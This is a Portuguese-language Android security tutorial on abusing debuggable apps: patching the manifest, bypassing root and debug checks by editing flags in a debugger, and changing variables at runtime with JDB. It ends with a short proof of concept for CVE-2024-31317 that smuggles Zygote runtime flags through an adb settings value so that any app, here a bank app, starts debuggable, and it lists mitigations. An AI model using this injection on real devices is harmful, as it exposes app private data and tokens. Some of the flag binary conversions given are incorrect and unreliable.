Explorando uma aplicação debuggable

Contornando verificações de root e debuggable

Esta seção do post é um resumo do post https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

Passos para Tornar um App Android Debuggable e Contornar Verificações

Tornando o App Debuggable

Conteúdo baseado em https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

1. Decompile o APK:

• Utilize a ferramenta APK-GUI para decompilar o APK.
• No arquivo android-manifest, insira android:debuggable="true" para habilitar o modo de depuração.
• Recompile, assine e zipalign a aplicação modificada.

2. Instale a Aplicação Modificada:

• Use o comando: adb install <application_name>.

3. Recupere o Nome do Pacote:

• Execute adb shell pm list packages –3 para listar aplicações de terceiros e encontrar o nome do pacote.

4. Configure o App para Aguardar Conexão do Depurador:

• Comando: adb shell am setup-debug-app –w <package_name>.
• Nota: Este comando deve ser executado toda vez antes de iniciar a aplicação para garantir que ela aguarde o depurador.
• Para persistência, use adb shell am setup-debug-app –w ––persistent <package_name>.
• Para remover todas as flags, use adb shell am clear-debug-app <package_name>.

5. Prepare-se para Depuração no Android Studio:

• Navegue no Android Studio para File -> Open Profile or APK.
• Abra o APK recompilado.

6. Defina Breakpoints em Arquivos Java Chave:

• Coloque breakpoints em MainActivity.java (especificamente no método onCreate), b.java e ContextWrapper.java.

Contornando Verificações

A aplicação, em certos pontos, verificará se é debuggable e também verificará binários que indicam um dispositivo com root. O depurador pode ser usado para modificar informações do app, desmarcar o bit debuggable e alterar os nomes dos binários pesquisados para contornar essas verificações.

Para a verificação debuggable:

1. Modifique Configurações de Flag:

• Na seção de variáveis do console do depurador, navegue até: this mLoadedAPK -> mApplicationInfo -> flags = 814267974.
• Nota: A representação binária de flags = 814267974 é 11000011100111011110, indicando que a "Flag_debuggable" está ativa.

Esses passos garantem coletivamente que a aplicação possa ser depurada e que certas verificações de segurança possam ser contornadas usando o depurador, facilitando uma análise ou modificação mais aprofundada do comportamento da aplicação.

O passo 2 envolve mudar um valor de flag para 814267972, que é representado em binário como 110000101101000000100010100.

Explorando uma Vulnerabilidade

Uma demonstração foi fornecida usando uma aplicação vulnerável contendo um botão e um textview. Inicialmente, a aplicação exibe "Crack Me". O objetivo é alterar a mensagem de "Try Again" para "Hacked" em tempo de execução, sem modificar o código-fonte.

Verificando a Vulnerabilidade

• A aplicação foi decompilada usando apktool para acessar o arquivo AndroidManifest.xml.
• A presença de android_debuggable="true" no AndroidManifest.xml indica que a aplicação é debuggable e suscetível a exploração.
• Vale ressaltar que o apktool é empregado apenas para verificar o status debuggable sem alterar nenhum código.

Preparando o Setup

• O processo envolveu iniciar um emulador, instalar a aplicação vulnerável e usar adb jdwp para identificar portas do Dalvik VM que estão ouvindo.
• O JDWP (Java Debug Wire Protocol) permite a depuração de uma aplicação em execução em uma VM, expondo uma porta única.
• O encaminhamento de porta foi necessário para depuração remota, seguido pela anexação do JDB à aplicação alvo.

Injetando Código em Tempo de Execução

• A exploração foi realizada definindo breakpoints e controlando o fluxo da aplicação.
• Comandos como classes e methods <class_name> foram usados para descobrir a estrutura da aplicação.
• Um breakpoint foi definido no método onClick, e sua execução foi controlada.
• Os comandos locals, next e set foram utilizados para inspecionar e modificar variáveis locais, particularmente mudando a mensagem "Try Again" para "Hacked".
• O código modificado foi executado usando o comando run, alterando com sucesso a saída da aplicação em tempo real.

Este exemplo demonstrou como o comportamento de uma aplicação debuggable pode ser manipulado, destacando o potencial para explorações mais complexas, como obter acesso ao shell no dispositivo no contexto da aplicação.

2024 – Transformando qualquer aplicação em um processo debuggable (CVE-2024-31317)

Mesmo que o APK alvo não seja enviado com a flag android:debuggable, pesquisas recentes mostraram que é possível forçar aplicações arbitrárias a iniciar com a flag de tempo de execução DEBUG_ENABLE_JDWP abusando da forma como o Zygote analisa argumentos de linha de comando.

• Vulnerabilidade: Validação inadequada de --runtime-flags fornecidos através do socket de comando do Zygote permite que um atacante que pode acessar system_server (por exemplo, via o shell privilegiado adb que possui a permissão WRITE_SECURE_SETTINGS) injetar parâmetros extras. Quando o comando elaborado é reproduzido pelo system_server, o aplicativo vítima é forkado como debuggable e com uma thread JDWP ouvindo. O problema é rastreado como CVE-2024-31317 e foi corrigido no Boletim de Segurança do Android de junho de 2024.
• Impacto: Acesso total de leitura/gravação ao diretório de dados privados de qualquer app (incluindo os privilegiados, como com.android.settings), roubo de tokens, contorno de MDM e, em muitos casos, um caminho direto para escalonamento de privilégios abusando de endpoints IPC exportados do processo agora debuggable.
• Versões afetadas: Android 9 a 14 antes do nível de patch de junho de 2024.

PoC Rápido

# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

O valor elaborado na etapa 1 quebra o parser fora do “caminho rápido” e anexa um segundo comando sintético onde --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) é aceito como se tivesse sido fornecido pelo framework. Uma vez que o aplicativo é iniciado, um socket JDWP é aberto e truques de depuração dinâmica regulares (substituição de método, patching de variável, injeção ao vivo de Frida, etc.) são possíveis sem modificar o APK ou a imagem de inicialização do dispositivo.

Detecção e Mitigação

• Aplique o patch para o nível de segurança 2024-06-01 (ou posterior) – O Google endureceu o ZygoteCommandBuffer para que comandos subsequentes não possam ser contrabandeados dessa forma.
• Restringir o acesso WRITE_SECURE_SETTINGS / shell em dispositivos de produção. A exploração requer essa permissão, que normalmente é detida apenas por aplicativos ADB ou privilegiados de OEM.
• Em frotas gerenciadas por EMM/MDM, imponha ro.debuggable=0 e negue o shell via adb disable-verifier.

Referências

• https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
• https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
• https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
• https://blog.flanker017.me/cve-2024-31317/